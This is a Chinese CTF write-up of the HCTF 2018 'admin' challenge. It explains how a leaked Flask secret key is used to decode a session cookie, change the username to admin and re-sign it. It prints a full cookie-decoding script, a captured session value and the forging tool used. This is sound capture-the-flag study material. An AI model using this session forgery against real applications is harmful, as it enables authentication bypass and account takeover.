首页 > 其他分享 >[HCTF 2018]admin 1

[HCTF 2018]admin 1

时间:2022-10-26 23:23:58浏览次数:83  
标签:admin HCTF flask session 2018 import 伪造 payload

[HCTF 2018]admin 1

< 文章中有有关flask session 文章 需要认真读一下>

1.信息搜集

由题意,注册admin 用户,回显

The username has been registered

猜测需要去伪造admin身份 ,但是这里并没有获取到实质性的信息,所以查看源码(这里自己还考虑的源码泄露,,,但是并没效果)

非admin 用户登录源码内容(这证明猜想没有问题)

然后在更改密码< change password >处发现提示,,,访问网址(flask session 伪造)

https://github.com/woadsl1234/hctf_flask/                  //这里刚开始并没有发现一些信息

网上搜了一篇flask 框架 身份认证的文章

然后了解到flask 框架是通过sessio n 进行认证的, Flask的session使用

这里在github 上找到了config.py ,里面存在我们想要的 密钥 ckj123

2.伪造flask session

这里其实在user.sql 文件中也发现了admin 和 “ ckj123 ” 的身影,不过当时并不知道这是密钥,唉

但是有了密钥之后我们并不知道如何去进行伪造,,,emmm

好吧肯定是要搜一下如何进行flask session 伪造的(但这个就是 wp ,只能说极限了)

大神里面也是用了一个解密脚本的(对session 进行解密)

唉,怎末脚本都是python ,要去学python了 !!!

加密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

还有一种就是 (没用出来)

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')

然后就是抓包获取session (change password 的包 ,用于伪造admin)

Cookie: session=.eJxNkE1rwkAQhv9KmbOHRPQieCisBoWZkHRj2L1IamP2I2shKuqI_72rhdLz-8wz78wdtvuhPRqYnYZzO4Kt_YLZHd4-YQZalL3iRUquS0hqp6VnErsxZSrBsTaKdxMU1KMwXkUGa_J5hqzF0qpapXm2uNK4SNFVU5SRldUE3SpBXlqSmz6XmGhnegrFhbhiFB0T9yGXS6PF6krSWJ3FmVB6xT728BcKZR-dT9ezR9y_YuX8HB4j2B2H_fb07dvDvxM8q3ptI5rm4v2mwtpiVty03DgSpdc1GayRKaumUXtDVxoq5i-dDU3X_pnIrdVH95scmhADaJoGRnA-tsPra5Am8PgBTxZsRQ.Y1lA2Q.CIgpWeki-z_V1Inj2M4KE-gD70A

使用脚本解密

{'_fresh': True, '_id': b'd4ec1568456ce934764f43fac7803e08db841cd8c3d1baf58a17d525917815822431b55e934f8e6d075308379f91ad2158bde82ddc956906de7d81564f8023b9', 'csrf_token': b'd93abb4f5802bbb0d2e5c44deca1c34e97d224a5', 'image': b'62XJ', 'name': 'aaa', 'user_id': '10'}

把name 改成admin

加密脚本

https://github.com/noraj/flask-session-cookie-manager

//flask_session_cookie_manager3.py

完成伪造admin ,发包,拿下,

标签:admin,HCTF,flask,session,2018,import,伪造,payload
From: https://www.cnblogs.com/zhiliu/p/16830463.html

相关文章

  • 【Django Admin】 自定义按钮 不勾选也可以执行
    #自定义按钮不勾选也可以执行defchangelist_view(self,request,extra_context=None):if'action'inrequest.POSTandrequest.POST['action']=......
  • BZOJ 5334: [Tjoi2018]数学计算
    题目链接:​​传送门​​一眼看过去很简单的样子根节点维护线段树乘积每个叶节点对应每一个操作如果是2操作则该叶节点为1否则就是就是要乘的m/***@Date:2019-03-27T......
  • Luogu P4421 [COCI2017-2018#1] Lozinke
    题目链接:​​传送门​​一开始直接AC自动机每个串暴力跳fail显然会T,44分#include<iostream>#include<cstdio>#include<cstring>#include<cstdlib>#include<complex>#i......
  • ProgrammingError at /admin/mes_app/book/ (1146, "Table 'mes.mes_app_book' doesn'
     发生上述这个问题的时候,可以把CSRF直接在settings中直接屏蔽掉。 ......
  • d2admin(d2admin)
    192.168.2.1登陆admin192.168.2.1的登陆密码是admin。1.大部分路由器的登录密码和登录账户一致,都是”admin“。2。部分路由器的登录账户名和密码贴在路由器底部的条码标签......
  • Win 7 您需要来自administrator 的权限才能对此文件进行更改
    1、现象复制文件随便复制到哪里,都会弹出这样一个框。提示 您需要来自administrator的权限才能对此文件进行更改。 2、如何出现的,以及查询解决方案我这里是在gi......
  • Django Admin save 重写 保存
    在djangoadmin管理控制台中,用户按下“Saveandaddanother”,表单的字段值仍然填充最后插入的值并且保存在ModelAdmin中添加选项save_as=True即可这将只对现有对象......
  • phpMyAdmin后台SQL注入【CVE-2020-5504】
    环境搭建使用vulfocus靶场,官网:https://vulfocus.cn/#/dashboarddockerpullvulfocus/phpmyadmin-cve_2020_5504dockerrun-d-p80:80vulfocus/phpmyadmin-cve_2020......
  • [网鼎杯 2018]Fakebook
    打开题目  jion注册,点击admin进入主页  发现注入点no?no=1and1=1正常?no=1and1=1报错猜列数    菜擦才能得出基本为分几次日本v人vgtr给他人......
  • 云安全攻防体系实践-CVE-2018-15664分析
    CVE-2018-15664符号链接替换漏洞如果在docker守护进程检查复制路径时,攻击者可以利用中间的间隙,先在这里放置一个非符号链接的常规文件或目录,检查结束后,攻击者赶在Docker守护......